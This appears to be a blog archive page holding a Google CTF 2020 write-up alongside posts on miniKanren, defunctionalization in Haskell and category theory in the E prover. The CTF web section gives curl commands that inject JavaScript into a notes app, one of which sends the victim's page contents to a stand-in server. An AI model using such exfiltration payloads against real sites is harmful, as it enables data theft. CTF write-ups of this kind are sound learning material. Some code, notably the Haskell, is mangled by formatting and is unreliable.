>>> run(10, q -> fresh2( (x,y) ->  (q ≅ :(tup($x,$y))) ∧ appendo( x, y, :(cons(3,cons(4,nil)))  )))
3-element Array{Expr,1}:
:(tup(nil, cons(3, cons(4, nil))))
:(tup(cons(3, nil), cons(4, nil)))
:(tup(cons(3, cons(4, nil)), nil))


I really should implement the occurs check

Other things that might be interesting: Using Async somehow for the streams. Store the substitutions with mutation or do union find unification. Constraint logic programming. How hard would it be get get JuMP to tag along for the ride?

It would probably be nice to accept Expr for tuples and arrays in addition to function calls.

http://minikanren.org/ You may also want to check out the book The Reasoned Schemer.

http://io.livecode.ch/ online interactive minikanren examples

http://tca.github.io/veneer/examples/editor.html more minikanren examples.

Microkanren implementation tutorial https://www.youtube.com/watch?v=0FwIwewHC3o . Also checkout the Kanren online meetup recordings https://www.youtube.com/user/WilliamEByrd/playlists

Efficient representations for triangular substitutions – https://users.soe.ucsc.edu/~lkuper/papers/walk.pdf

Could it be fruitful to work natively with Catlab’s GATExpr? Synquid makes it seem like extra typing information can help the search sometimes.

Hinze backtracking https://dl.acm.org/doi/abs/10.1145/357766.351258

## Google CTF 2020 Write Up

I found a link to the Google CTF as it was ongoing. Me and Ben (Team Skydog! Arf! Arf!) have been meaning to do a CTF for years and a combination of covid and procrastinating packing for a move finally made it happen!

The “easy” problems were ass kickers. I guess they were easy in the sense that total n00bs like us could eventually get them. But good lord. It seems inhuman to me that there are people rocking these things, but there are.

We were able to finish 3 problems and got close to a 4th.

There are similar write ups here https://ctftime.org/event/1041/tasks/ . Doesn’t seem like I did anything that unusual.

## Beginner Reversing

This one was a binary that needed a password inputted . I booted up Ghidra to take a look at the binary which helped a lot in seeing a decompiled version. I’ve never really used Ghidra before. This is what Ghidra showed

ulong main(void)

{
int iVar1;
uint uVar2;
undefined auVar3 [16];
undefined input [16];
undefined4 local_28;
undefined4 uStack36;
undefined4 uStack32;
undefined4 uStack28;

printf("Flag: ");
__isoc99_scanf(&DAT_0010200b,input);
auVar3 = pshufb(input,SHUFFLE);
auVar3 = CONCAT412(SUB164(auVar3 >> 0x60,0) + ADD32._12_4_,
local_28 = SUB164(auVar3,0);
uStack36 = SUB164(auVar3 >> 0x20,0);
uStack32 = SUB164(XOR >> 0x40,0);
uStack28 = SUB164(XOR >> 0x60,0);
iVar1 = strncmp(input,(char *)&local_28,0x10);
if (iVar1 == 0) {
uVar2 = strncmp((char *)&local_28,EXPECTED_PREFIX,4);
if (uVar2 == 0) {
puts("SUCCESS");
goto LAB_00101112;
}
}
uVar2 = 1;
puts("FAILURE");
LAB_00101112:
return (ulong)uVar2;
}
        001010a9 e8 b2 ff        CALL       __isoc99_scanf                                   undefined __isoc99_scanf()
ff ff
001010ae 66 0f 6f        MOVDQA     XMM0,xmmword ptr [RSP]=>input
04 24
001010b3 48 89 ee        MOV        RSI,RBP
001010b6 4c 89 e7        MOV        RDI,R12
001010b9 ba 10 00        MOV        EDX,0x10
00 00
001010be 66 0f 38        PSHUFB     XMM0,xmmword ptr [SHUFFLE]                       =
00 05 a9
2f 00 00
05 91 2f                                                                    = null
00 00
001010cf 66 0f ef        PXOR       XMM0,xmmword ptr [XOR]                           =
05 79 2f
00 00
001010d7 0f 29 44        MOVAPS     xmmword ptr [RSP + local_28],XMM0
24 10
001010dc e8 4f ff        CALL       strncmp                                          int strncmp(char * __s1, char *
ff ff
001010e1 85 c0           TEST       EAX,EAX
001010e3 75 1b           JNZ        LAB_00101100
001010e5 48 8b 35        MOV        RSI=>DAT_00102020,qword ptr [EXPECTED_PREFIX]    = 00102020
94 2f 00 00                                                                 = 43h    C
001010ec ba 04 00        MOV        EDX,0x4
00 00
001010f1 48 89 ef        MOV        RDI,RBP
001010f4 e8 37 ff        CALL       strncmp                                          int strncmp(char * __s1, char *
ff ff


Actually having this in ghidra makes this easier to see than it is here because Ghidra tells you which line of C is which line of assembly. Basically, it appears (after looking up some assembly instructions) that we need to find a string that after shuffling by a fixed pattern (SHUFFLE), packed adding a constant (ADD32), and xoring with a constant (XOR) equals itself.

I suppose this must be solvable by hand? They are suspiciously reversible operations. But I ended up using Z3 because I already know it pretty well. Something that made me totally nuts was translating byte ordering between x86 and z3. The only way I was able to do it was to go into gdb and go through the program instruction and make sure xmm0 had the same values as z3.

gdb a.out
break main
run
tui enable
layout asm
ni a bunch of times
print $xmm0 Then I put in the appropriate list reversals or reversed the bytes of the binary constants. It wasn’t so bad once I realized I had to do that. from z3 import * x = BitVec('x', 128) #print(Extract(,0,x)) chunks8 = [ Extract(i*8+7, 8*i,x ) for i in range(16)] #print([print for chunk in chunks8]) print(chunks8) shuffle = [0x02 ,0x06 ,0x07 , 0x01, 0x05, 0x0b, 0x09, 0x0e, 0x03 , 0x0f ,0x04 ,0x08, 0x0a, 0x0c, 0x0d, 0x00] #shuffle = [ 16 - i for i in shuffle ] #?? Endian? # for z3 ,extract 0 is the least significant shufflex = [chunks8[shuf] for shuf in shuffle] shufflex = Concat(list(reversed(shufflex))) print(shufflex) chunks32 = [ Extract(i*32+31, 32*i,shufflex ) for i in range(4)] #[Concat( shufflex[4*i: 4*i+4]) ) for i in range(4)] print(chunks32) #add32 = [0xefbeadde, 0xaddee1fe, 0x37133713, 0x66746367] add32 = [0xedeadbeef, 0xfee1dead, 0x13371337, 0x67637466] added = [ chunk + addo for chunk,addo in zip(chunks32,add32) ] print(added) xnew = Concat(list(reversed(added))) ^ 0xAAF986EB34F823D4385F1A8D49B45876 # 0x7658b4498d1a5f38d423f834eb86f9aa print(xnew) s = Solver() s.add(xnew == x) #s.add(x != 649710491438454045931875052661658691 ) #s.add(Extract( 4*8-1 , 0, xnew) == 0x102020 ) # 0x202010 print(s.check()) m = s.model() print(m) print(m.eval(xnew)) #bit32chunks = [ Extract(high, low, x) for i in range(4)] #lower = Extract(31, 0, x) #lower = Extract(31, 0, x) #x = BitVec('addx', 128) #[ Extract(high, low, x) for i in range(0,16)] I still don’t understand what is going on with the EXPECTED_PREFIX part. Somehow that memory gets filled with “CTF”, even though it doesn’t have that in the binary file. So maybe that is a red herring? I wonder if KLEE would’ve just found it or if there was some other automated tool that would’ve worked? I see that one write up used angr ## Beginner Hardware This one had a verilog file and a verilator C++ file. Basically, a string is clocked into a circuit which does some minimal scrambling and then sets a flag once a good key has been sent in. An unexpectedly hard part was figuring out how to get verilator to work, which wasn’t strictly necessary. Another hard part was realizing that I was supposed to netcat the key into a server. Somehow I just totally ignored the url that was in the question prompt Again, I used my formal method super powers just because. I downloaded EBMC, although yosys smtbmc would probably also work  ~/Downloads/ebmc check.sv --trace --bound 100 I edited the file slightly. I turned always_ff into always since ebmc didn’t seem to support it. I also initialized the memory to zero so that I could get an actual trace and asserted that open_safe == 0 so that it would give me a countermodel that opens the safe. ebmc returned a trace, which I sent over netcat to the server and got the real key. One could back out the key by hand here, since it is fairly simple scrambling. module check( input clk, input [6:0] data, output wire open_safe ); reg [6:0] memory [7:0]; reg [2:0] idx = 0; //initial begin // memory[0] = 7'b1000011; // memory[5] = 7'b1010100; // memory[2] = 7'b1010100; // memory[7] = 7'b1111011 ; // 7'x7b; //end integer i; initial begin for (i=0;i<8;i=i+1) memory[i] = 0; end wire [55:0] magic = { {memory[0], memory[5]}, {memory[6], memory[2]}, {memory[4], memory[3]}, {memory[7], memory[1]} }; wire [55:0] kittens = { magic[9:0], magic[41:22], magic[21:10], magic[55:42] }; assign open_safe = kittens == 56'd3008192072309708; always @(posedge clk) begin memory[idx] <= data; idx <= idx + 5; end assert property (open_safe==0); // || memory[0] == 7'b110111); //|| memory[0] != b00110111 endmodule  ## Chunk Norris – Crypto This one kicked my ass. I know basically nothing about crypto. The prompt was that there is a file that generates primes for an RSA encrytion. They are using a fishy looking generator for the primes. #!/usr/bin/python3 -u import random from Crypto.Util.number import * import gmpy2 a = 0xe64a5f84e2762be5 chunk_size = 64 def gen_prime(bits): s = random.getrandbits(chunk_size) while True: s |= 0xc000000000000001 p = 0 for _ in range(bits // chunk_size): p = (p << chunk_size) + s s = a * s % 2**chunk_size if gmpy2.is_prime(p): return p n = gen_prime(1024) * gen_prime(1024) e = 65537 flag = open("flag.txt", "rb").read() print('n =', hex(n)) print('e =', hex(e)) print('c =', hex(pow(bytes_to_long(flag), e, n))) I went up a couple blind alleys. The first thing we tried was brute forcing. Maybe if the generator is incredibly weak, we can just generate 1,000,000 primes and we’ll get a match. No such luck. Second I tried interpreting the whole problem into Z3 and Boolector. This did not work either. In hindsight, maybe it could have? Maybe I messed up somewhere in this code? import random from Crypto.Util.number import * import gmpy2 from z3 import * #x = BitVec('n', 1024) prime_size = 1024 chunk_size = 64 s1 = ZeroExt(2*prime_size - chunk_size, BitVec('s1', chunk_size)) #prime_size) s2 = ZeroExt(2*prime_size - chunk_size, BitVec('s2', chunk_size)) a = 0xe64a5f84e2762be5 def gen_prime(s, bits): s |= 0xc000000000000001 p = 0 for _ in range(bits // chunk_size): p = (p << chunk_size) + s s = a * s % 2**chunk_size return p def gen_prime(s, bits): s |= 0xc000000000000001 p = 0 for _ in range(bits // chunk_size): p = (p << chunk_size) + s s = a * s % 2**chunk_size return p p = gen_prime(s1,prime_size) q = gen_prime(s2,prime_size) #n = 0xab802dca026b18251449baece42ba2162bf1f8f5dda60da5f8baef3e5dd49d155c1701a21c2bd5dfee142fd3a240f429878c8d4402f5c4c7f4bc630c74a4d263db3674669a18c9a7f5018c2f32cb4732acf448c95de86fcd6f312287cebff378125f12458932722ca2f1a891f319ec672da65ea03d0e74e7b601a04435598e2994423362ec605ef5968456970cb367f6b6e55f9d713d82f89aca0b633e7643ddb0ec263dc29f0946cfc28ccbf8e65c2da1b67b18a3fbc8cee3305a25841dfa31990f9aab219c85a2149e51dff2ab7e0989a50d988ca9ccdce34892eb27686fa985f96061620e6902e42bdd00d2768b14a9eb39b3feee51e80273d3d4255f6b19 #n = 0x90000000000055e4350fbb6baa0349fbde32f2f237fa10573dd3d46b #n = BitVecVal("0x90000000000055e4350fbb6baa0349fbde32f2f237fa10573dd3d46b", 64) n = BitVec("n",2048) #(declare-const n (_ BitVec 224) ) #s = parse_smt2_string( " (assert (= n #x900000000001165742e188538bc53a3e129279c049360928a59b2de9))" , decls={"n": n}) #n = BitVecVal(0x90000000000055e4350fbb6baa0349fbde32f2f237fa10573dd3d46b, 64) #print(hex(int(str(n)))) 0xd3899acc7973d22e820d41b4ef33cd232a98366c40fb1d70df2650ca0a96560672496f93afa03e8252a4e63054971cfa8352c9a73504a5caf35f3f5146ffd5f5762480b8140e1230864d3d0edf012bb3dd39b8ce089a64a8935a039e50f8e2ec02d514c892439242257a9bc0f377e5cc1994803cc63697b8aa5ee662a3efa96fb3e6946432e6e86987dabf5d31c7aa650c373b6b00a2cf559e9cfb8f38dc7762d557c45674dde0b5867c8d029a79a89a5feed5b24754bddb10084327fdad0303a09fb3b9306b9439489474dfb5f505460f63a135e85d0e5f71986e1cbce27b3bf3897aa8354206c431850da65cac470f0c1180bbfd4615020bfd5fdaafa2afad #s = Solver() bv_solver = Solver() '''Then(With('simplify', mul2concat=True), 'solve-eqs', 'bit-blast', 'sat').solver() ''' s = bv_solver #nstr = "#xd3899acc7973d22e820d41b4ef33cd232a98366c40fb1d70df2650ca0a96560672496f93afa03e8252a4e63054971cfa8352c9a73504a5caf35f3f5146ffd5f5762480b8140e1230864d3d0edf012bb3dd39b8ce089a64a8935a039e50f8e2ec02d514c892439242257a9bc0f377e5cc1994803cc63697b8aa5ee662a3efa96fb3e6946432e6e86987dabf5d31c7aa650c373b6b00a2cf559e9cfb8f38dc7762d557c45674dde0b5867c8d029a79a89a5feed5b24754bddb10084327fdad0303a09fb3b9306b9439489474dfb5f505460f63a135e85d0e5f71986e1cbce27b3bf3897aa8354206c431850da65cac470f0c1180bbfd4615020bfd5fdaafa2afad" nstr = "#xab802dca026b18251449baece42ba2162bf1f8f5dda60da5f8baef3e5dd49d155c1701a21c2bd5dfee142fd3a240f429878c8d4402f5c4c7f4bc630c74a4d263db3674669a18c9a7f5018c2f32cb4732acf448c95de86fcd6f312287cebff378125f12458932722ca2f1a891f319ec672da65ea03d0e74e7b601a04435598e2994423362ec605ef5968456970cb367f6b6e55f9d713d82f89aca0b633e7643ddb0ec263dc29f0946cfc28ccbf8e65c2da1b67b18a3fbc8cee3305a25841dfa31990f9aab219c85a2149e51dff2ab7e0989a50d988ca9ccdce34892eb27686fa985f96061620e6902e42bdd00d2768b14a9eb39b3feee51e80273d3d4255f6b19" s.add(parse_smt2_string( f" (assert (= n {nstr}))" , decls={"n": n})) #s.add( s1 < 2**chunk_size) #s.add( s2 < 2**chunk_size) s.add(s1 <= s2) s.add( p * q == n) set_option(verbose=10) print(s.to_smt2()) print(s.check()) m = s.model() print(m) print(m.eval(p)) print(m.eval(q)) We also tried using this tool and see if we got any hits. https://github.com/Ganapati/RsaCtfTool Didn’t work. An interesting resource in any case, and I ended up using to to actually do the decryption once I had the primes. Reading the problem prompt I realized they were emphasizing the way the random number generator was constructed. It turns out that this generator has a name https://en.wikipedia.org/wiki/Lehmer_random_number_generator . This did not lead to any revelations, so is actually a counter productive observation. Anyway, looking at it, each 64 bit chunk is kind of independent of each other in the primes. And when you multiply the built primes, the chunks still don’t interweave all the much, especially the most and least significant chunk of n. Eventually I realized that the first and last chunk of the key n are simply related to the product of the 2 random numbers s used to generate the primes. The least significant chunk of n = s1 * s2 * a^30 mod 2^64. And the most significant chunk of n is the most significant 64 bits of s1 * s2 ( minus an unknown but small number of carries). We can reverse the a^30 by using the modular inverse of a which I used a web form to calculate. Then we basically have the product of s1 and s2. s1 and s2 are not primes, and this is a much smaller problem, so factoring these numbers is not a challenge. import random from Crypto.Util.number import * import gmpy2 for q in range(16): # search over possible carries #e = q * 2 ** 64 #print(hex(e)) backn = 0x0273d3d4255f6b19 # least sig bits of n frontn = 0xab802dca026b1825 - q # most sig bits of n minus some carry chunk_size = 64 bits = 1024 a = 0xe64a5f84e2762be5 #16594180801339730917 ainv = 13928521563655641581 # modular inverse wrt 2^64 https://www.dcode.fr/modular-inverse n0 = gmpy2.mpz("0xab802dca026b18251449baece42ba2162bf1f8f5dda60da5f8baef3e5dd49d155c1701a21c2bd5dfee142fd3a240f429878c8d4402f5c4c7f4bc630c74a4d263db3674669a18c9a7f5018c2f32cb4732acf448c95de86fcd6f312287cebff378125f12458932722ca2f1a891f319ec672da65ea03d0e74e7b601a04435598e2994423362ec605ef5968456970cb367f6b6e55f9d713d82f89aca0b633e7643ddb0ec263dc29f0946cfc28ccbf8e65c2da1b67b18a3fbc8cee3305a25841dfa31990f9aab219c85a2149e51dff2ab7e0989a50d988ca9ccdce34892eb27686fa985f96061620e6902e42bdd00d2768b14a9eb39b3feee51e80273d3d4255f6b19") abackn = backn # mutiply a^inv ** (30? or 32?) * backn = s1 * s2 mod 2**64 for _ in range(bits // chunk_size - 1): abackn = ainv * abackn % 2**chunk_size abackn = ainv * abackn % 2**chunk_size print("abackn ", hex(abackn)) def prime_factors(n): # all prime factors, from a stack exchange post i = 2 factors = [] while i * i <= n: #print(i) if n % i: i += 1 else: n //= i factors.append(i) if n > 1: factors.append(n) return factors def gen_prime_s(s,bits): s |= 0xc000000000000001 p = 0 for _ in range(bits // chunk_size): p = (p << chunk_size) + s s = a * s % 2**chunk_size return p print(len(hex(abackn))) tot_ss = (frontn * (2 ** (chunk_size))) + abackn # combine the front and back. Should = s1 * s2 print("frontbk", hex(tot_ss)) print(len(hex(tot_ss))) g = prime_factors( tot_ss) print(g) ng = len(g) for i in range(2**ng): # try all ways of splitting prime list. Could do something less stupid, but whatev s1 = 1 s2 = 1 for x in range(ng): if (i >> x) & 1: s1 *= g[x] else: s2 *= g[x] p = gen_prime_s(s1,1024) q = gen_prime_s(s2,1024) n = p*q if n == n0: print("holy shit") print(f"p = {p}", ) print(f"q = {q}", ) ## Pasteurize Web Strangely enough the web was also pretty hard. This is partially because this is getting further from stuff I know about. We ended up not finishing this one but I think we got close. We’re given access to a notes web app. Looking at the source, it turns out the server source was also being served. Eventually we figured out that we could curl in notes in an unexpected format using url-encoding which was conspicuously enabled in body-parser. The sanitizer makes the assumption that it is receiving a string, not an object. When the sanitizer removes the quotes from the JSON.stringify, it actually can remove an opening brace {, and then the first label of the object closes the string. When the note text is spliced into the webpage it isn’t properly escaped. We were able to get code to run via sending in an object with labels that were javascript code curl -d 'content[;a=4;alert();]=;7;&content[;a=5;]=;4;' -H "Content-Type: application/x-www-form-urlencoded" -X POST https://pasteurize.web.ctfcompetition.com/  By running an ajax request we could recevie data from TJMike’s browser curl -d 'content[;var xhttp = new XMLHttpRequest();xhttp.open(POST, https://ourserver, true);xhttp.send(document.documentElement.innerHTML);]=;7;&content[;a=5;]=;4;' -H "Content-Type: application/x-www-form-urlencoded" -X POST https://pasteurize.web.ctfcompetition.com/  We were at the time limit then. I’ve heard we needed to grab the document.cookies and that had the key in it? All told pretty cool. A very well organized CTF with fun challenges. I dunno if CTFs are for me. I felt my blood pressure raising a lot. ## Defunctionalizing Arithmetic to an Abstract Machine There is great value in meditating upon the simplest possible example of a thing you can come up with. In this case one can apply defunctionalization techniques that are often applied to lambda calculus to simpler arithmetic calculations. Functional programming is cool and useful, but it isn’t clear how to implement the features they provide on hardware that is controlled by assembly code. Achieving this is a fairly large topic. One step on the way is the concept of an abstract machine. Abstract machines make more explicit how to evaluate a program by defining a step relationship taking a state of the machine to another state. I think this may be closer to how hardware is built because hardware is physical system. Physical systems are often characterizable by their space of states and the transitions or time evolution of them. That’s Newtonian mechanics in a nutshell. There is a methodology by which to connect the definitions of abstract machines to interpreters of lambda calculus. • Convert to continuation passing style to make the evaluation order explicit • Defunctionalize these continuations However, the lambda calculus is a non trivial beast and really only a member of a spectrum of different programming language features. Here is an incomplete set of features that you can mix and match: • Arithmetic expressions • Boolean expressions • let bindings • Printing/Output • Reading/Input • Mutation, References • For/While loops • Named Global Procedures • Recursion • Lambda terms / Higher Order Functions • Call/CC • error throw try catch • Algebraic Data Types • Pattern matching In my opinion, the simplest of any of these is arithmetic expressions and with only this you can already meaningfully explore this evaluator to abstract machine translation. First we need a data type for arithmetic data AExpr = Lit Int | Add AExpr AExpr deriving (Eq, Show) Pretty basic. We could easily add multiplication and other operators and it doesn’t change much conceptually except make things larger. Then we can define a simple interpreter. type Value = Int eval :: AExpr -> Value eval (Add x y) = (eval x) + (eval y) eval (Lit i) = i The first step of our transformation is to put everything in continuation passing style (cps). The way this is done is to add an extra parameter k to every function call. When we want to return a result from a function, we now call k with that instead. You can kind of think of it as a goofy return statement. eval' is equivalent to eval above. evalk :: AExpr -> (Value -> Value) -> Value evalk (Add x y) k = evalk x (\vx -> (evalk y$ \vy -> k (vx + vy)))
evalk (Lit i) k = k i

eval' :: AExpr -> Value
eval' e = evalk e id

Now we defunctionalize this continuation. We note that higher order continuation parameters take only a finite number of possible shapes if evalk is only accessed via the above code. k can either be id, (\vx -> (evalk y $\vy -> k (vx + vy))) , or \vy -> k (vx + vy). We give each of these code shapes a constructor in a data type. The constructor needs to hold any values closed over (free variables in the expression). id needs to remember nothing, \vx -> (evalk y$ \vy -> k (vx + vy)) needs to remember y and k, and \vy -> k (vx + vy) needs to remember vx and k.

data AHole = IdDone | AddL AExpr AHole | AddR Value AHole 

What functions are is a thing that can be applied to it’s arguments. We can use AHole exactly as before by defining an apply function.

apply :: AHole -> Value -> Value
apply IdDone      v = v
apply (AddR v' k) v = apply k (v' + v) 

And using this we can convert evalk into a new form by replacing the continuations with their defunctionalized data type.

evald :: AExpr -> AHole -> Value
evald (Lit i) k = apply k i

eval'' e = evald e IdDone

We can make this into more of a machine by inlining apply into evald and breaking up the tail recursion into individual steps. Now we have a step relation on a state consisting of continuation data AHole and program information AExpr. Every step makes progress towards evaluating the expression. If you squint a little, this machine is basically an RPN machine for evaluating arithmetic.

data Machine = Machine {  prog :: AExpr  , kont :: AHole}

step :: Machine -> Either Value Machine
step (Machine (Add x y) k) = Right $Machine x (AddL y k) step (Machine (Lit i) (AddL e k)) = Right$ Machine e (AddR i k)
step (Machine (Lit i) (AddR v k)) = Right $Machine (Lit (i + v)) k step (Machine (Lit i) (IdDone)) = Left i init_machine e = Machine e IdDone -- https://hackage.haskell.org/package/extra-1.7.4/docs/src/Control.Monad.Extra.html#loop loop :: (a -> Either b a) -> a -> b loop act x = case act x of Right x -> loop act x Left v -> v eval'''' e = loop step (init_machine e) Pretty neat right? Now the next simplest steps in my opinion would be to add Booleans, Let expressions, and Print statements. Then after grokking that, I would attempt the CEK and Krivine Machines for lambda calculus. ### Links Defunctionalizing arithmetic can be found in https://www.brics.dk/RS/01/23/BRICS-RS-01-23.pdf – Defunctionalization at Work – Danvy and Nielson https://homepages.inf.ed.ac.uk/wadler/papers/papers-we-love/reynolds-definitional-interpreters-1998.pdf Definitional Interpreters for Higher Order Programming Languages – Reynolds 1972. The grand daddy paper of defunctionalization https://tidsskrift.dk/brics/article/download/21784/19215 – A Journey from Interpreters to Compilers and Virtual Machines – Mads Sig Ager, Dariusz Biernacki, Olivier Danvy, Jan Midtgaard http://www.pathsensitive.com/2019/07/the-best-refactoring-youve-never-heard.html Best Refactoring You’ve never Heard of by Jimmy Koppel. Xavier Leroy abstract machine slides https://xavierleroy.org/mpri/2-4/ https://caml.inria.fr/pub/papers/xleroy-zinc.pdf – Leroy’s description of the Zinc Machine CEK machine – Matt Might http://matt.might.net/articles/cek-machines/ https://github.com/rain-1/continuations-study-group/wiki/Reading-List https://semantic-domain.blogspot.com/2020/02/thought-experiment-introductory.html Neel Krishnaswami’s hypothetical compiler course. ## Category Theory in the E Automated Theorem Prover At least in the circles I travel in, interactive theorem provers like Agda, Coq, Lean, Isabelle have more mindspace than automatic theorem provers. I haven’t seen much effort to explore category theory in the automatic provers so I thought I’d try it. ### Interactive Systems There are a number of projects formalizing category theory in these systems All of these systems are using some variant of higher order logic where you can quantify over propositions. This is very expressive, but also are more difficult to automate (They do have significant automation in them though, but this tends to be for filling in the relatively obvious intermediate details of a proof, not complete automation). Perhaps this has some relation to Godel’s incompleteness theorem ### Automated Theorem Provers There are other classes of theorem proving systems: automatic theorem provers and SMT solvers. Can we do category theory in them? Doesn’t Automatic sound real nice in principle? ATP and SMT are similar in some respects but are architected differently and have slightly different use cases and strengths: • SMT solvers are based around SAT solvers and tractable sub problems (theories). They have subsystems that deeply understand linear equations, linear inequalities, systems of polynomials, theory of uninterpreted functions, bit-blasting, others. They combine these facilities via the Nelson-Oppen procedure. They are fairly weak at quantifier reasoning. They are good at problems that require lots of domain specific understanding. Examples of SMT solvers include Z3, CVC4, Alt Ergo, Boolector. You can find more and comparisons at the SMT competition • While the term Automatic Theorem Prover (ATP) could mean anything, it has a tendency to denote a class of first order logic solvers based around resolution. Examples of such provers include Vampire, E, and Prover9. You can find more at the CADE competition. They are more oriented to abstract first order logic structures and quantifier reasoning. A big downside of automatic methods is that once they start to fail, you’re more hosed than the interactive provers. Until then, it’s great though. ### Categories in ATP Category theory proofs have a feeling of being close to trivial (at least the ones I’ve seen, but I’ve mostly seen the trivial ones so…? ), amounting to laboriously expanding definitions and rewrite equations corresponding to commutation conditions. An automatic system to verify these seems useful. What are the kinds of questions one wants to ask these provers? • Confirmation that a concrete mathematical structure (integers, reals, bools, abstract/concrete preorder, group, lattice) obeys the required categorical axioms/interface. The axioms of category structures are the conjectures here • Confirmation that abstract categorical constructions do what they’re supposed to. One presupposes categorical axioms and structures and asks conjecture conclusions. For example, given this square, does this other diagram commute? Is this “diagram chasing“? These are yes/no questions. Although in the case of no, often a counterexample is emitted which can help show where you went awry. A third task that is more exciting to me, but harder and not an obvious stock capability of these provers is • Calculate/construct something categorical. For example, we might want to construct a condensed or efficient version of some program given by a categorical spec, or emit a categorical construction that has certain properties. There are clear analogies with program verification vs. program synthesis. Now it appears that to some degree this is possible. I have noted that in the proof output, one can sometimes find terms that may correspond to the thing you desire, especially if you ask an existential conjecture, “does there exists a morphism with such and such a property”. ### Formulating Category Theory in First Order Logic TPTP is both a problem library and specification language for first order problems for the purposes of computer provers. There is a nice overview video here. There is a nice web interface to explore different provers here. The TPTP library contains four different axiomatizations for categories, and a number of problems There is a good set of videos explaining how to formalize category axioms in a first order setting. https://www.youtube.com/watch?v=NjDZMWdDJKM&list=PL4FD0wu2mjWOtmhJsiVrCpzOAk42uhdz8&index=6&t=0s he has a couple different formulation actually. It’s interesting. Here’s a stack overflow https://math.stackexchange.com/questions/2383503/category-theory-from-the-first-order-logic-point-of-view along with a small discussion of why it’s wrong headed to even do such a thing. I’m not sure I agree with the second part. Here is my encoding. I am not 100% confident anything I’ve done here is right. Note that composition is expressed as a ternary relation. This is one way of handling the fact that without stronger typing discipline, composition is a partial binary function. In order to compose, morphisms need to meet on an intermediate object. Categorical “typing” is expressed via logical constraint on the relation. A trick one can use is to identify the identity arrows and the objects at which they are based. Since every object is required to have an identity arrow and every identity arrow points from and to a single object, they are in isomorphism. There is some conceptual disclarity that occurs from this trick though. I’m not totally sold. TPTP syntax is mostly straightforward but note that ! [X] is forall X, ? [X] is exists X, capital names are variables, lowercase names are constants. Quantifiers bind tighter than I personally expected, hence my parenthesis explosion. % axioms of a category % we would resupply this for every category involved? % ! [X] is forall X, ? [X] is exists X. Capital names are variables % lowercase names are constants. fof( dom_cod, axiom, ![X] : dom(cod(X)) = cod(X)). fof( cod_dom, axiom, ![X] : cod(dom(X)) = dom(X)). fof( comp_is_unique, axiom, ![F, G, FG1, FG2] : ((comp(F,G,FG1) & comp(F,G,FG2)) => FG1 = FG2) ). fof( comp_objects_middle, axiom, ![F, G] : ((? [FG] : comp(F,G,FG)) <=> dom(F) = cod(G))). fof( comp_dom, axiom, ![F, G, FG] : (comp(F,G,FG) => dom(G) = dom(FG))). fof( comp_cod, axiom, ![F, G, FG] : (comp(F,G,FG) => cod(F) = cod(FG))). fof( left_id, axiom, ![F] : comp(cod(F),F,F) ). fof( right_id, axiom, ![F] : comp(F,dom(F),F) ). % I've heard that composition axioms cause churn? fof( comp_assoc, axiom, ![F, G, H, FG, GH, FGH1, FGH2] : ((comp(F,G,FG) & comp(FG,H,FGH1) & comp(F,GH,FGH2) & comp(G,H,GH)) => FGH1 = FGH2 )). Here are some definitions. One could also just inline these definitions with a macro system. Uniqueness quantification occurs in universal properties. It’s sort of a subtle idea to encode into ordinary first order logic without uniqueness quantification. Are some encoding better than others? Another place where macros to generate TPTP files would be useful. Uniqueness quantification is naturally expressible as a higher order predicate. fof(monic_def, axiom, ![M] : (monic(M) <=> (! [F,G] : (( ? [H] : (comp(M, F, H) & comp(M,G,H))) => F = G)))). fof(commute_square_def, axiom, ![F,G,H,K] : (commute_square(F,G,H,K) <=> (? [M] : (comp(F,G,M) & comp(H,K,M))))). fof(pullback_def, axiom, ![F,G,P1,P2] : (pullback(F,G,P1,P2) <=> (commute_square(F,P1,G,P2) & (![Q1,Q2] : (commute_square(F,Q1,G,Q2) => (?[U] : (! [U1] : ((comp(P1,U1,Q1) & comp(P2,U1,Q2)) <=> (U1 = U)))) ))))).  Here are some pretty simple problems: % should be a trivial statement, but isn't literally an axiom. fof( codcod, conjecture, ![F] : cod(cod(F)) = cod(F) ). % paste two commuting squares together gives another commuting square fof( pasting_square,conjecture, ![A,B,C,D, I,J,K, BI, CJ] : ((commute_square(B,A,D,C) & commute_square(I,D,K,J) & comp(I,B, IB) & comp( J, C,JC)) => commute_square( IB,A, K,JC ) )). One theorem that is not quite so trivial is the pullback of a monic is monic https://math.stackexchange.com/questions/2957202/proving-the-pullback-of-monics-is-monic. It’s ultimately not that complicated and yet difficult enough that it takes me a lot of head scratching. It crucially uses the uniqueness property of the pullback. Here’s an encoding of the conjecture. include('cat.tptp'). include('constructions.tptp'). % warmup? %fof(pullback_monic, conjecture, ![M, P1,P2] : ((monic(M) & pullback(cod(M),M,P1,P2)) => %monic(P2))). % pullback of monic is monic fof(pullback_monic, conjecture, ![M, F, P1,P2] : ((monic(M) & pullback(F,M,P1,P2)) => monic(P1))). Invoking the prover. eprover --auto-schedule --cpu-limit=60 --proof-object monic_pullback.tptp Vampire appears to do it faster. Again the easiest way to try it yourself or compare other solvers is the web interface System on TPTP http://www.tptp.org/cgi-bin/SystemOnTPTP. Caveat: given how many times I’ve screwed up writing this post, I’d give a 40% chance that that final theorem is actually expressing what I intended it to. ### Bits and Bobbles Encoding our questions into first order logic, which is powerful but not fully expressive, requires a lot of “macro” like repetitiveness when possible at all. I have found through experience that the extra macro capabilities given by python for emitting Z3 problems to be extremely powerful. For this reason, we should use a real programming language to emit these problems. I think the logical candidate is Julia and the Catlab library. One unknown question, will this repetitiveness choke the theorem prover? Categorical Constructions that one might want to encode: • Monic • Epic • Commuting Squares • Pullbacks • Pushouts • products • coproducts • exponential objects • Subobject classifiers • Finite categories • Functors • Natural transformations • Adjunctions • Kan Extensions • PreSheaves Theorems that seem possible. (Surely there are many more. Some observations on actually using these provers: Just because it says proved is not very convincing. It is very easy to have your axioms and/or conjecture stated incorrectly. Forall ! and Exists ? bind tighter than I naively expect them to in the syntax. I ended up putting parenthesis nearly everywhere. I had a lot of very difficult to debug problems due to bad binding assumptions. Typos are also a disaster. These things are hard to debug. It is helpful to alternatively ask for satisfiability (disproving the conjecture). One should also at least look at which axioms it’s using. If it is using less axioms than makes sense, something is up. These are all good reasons that it might be better to automatically generate these problem files. Ultimately I feel like that is the way to go, because encoding what you’re interested in into first order logic can require some repetitiveness. Sanity checking my files with http://www.tptp.org/cgi-bin/SystemB4TPTP proved to be helpful. Also looking at the parenthesis structure in the output. I think using the typed tff format could also help sanity significantly. It really sucks that a typo on one of your predicates or variables can fail silently. Even ignoring syntax screwups, the scoping of quantifiers is tough to think about. I suspect that these systems will be very good for proofs that amount to unrolling definitions. What is the best 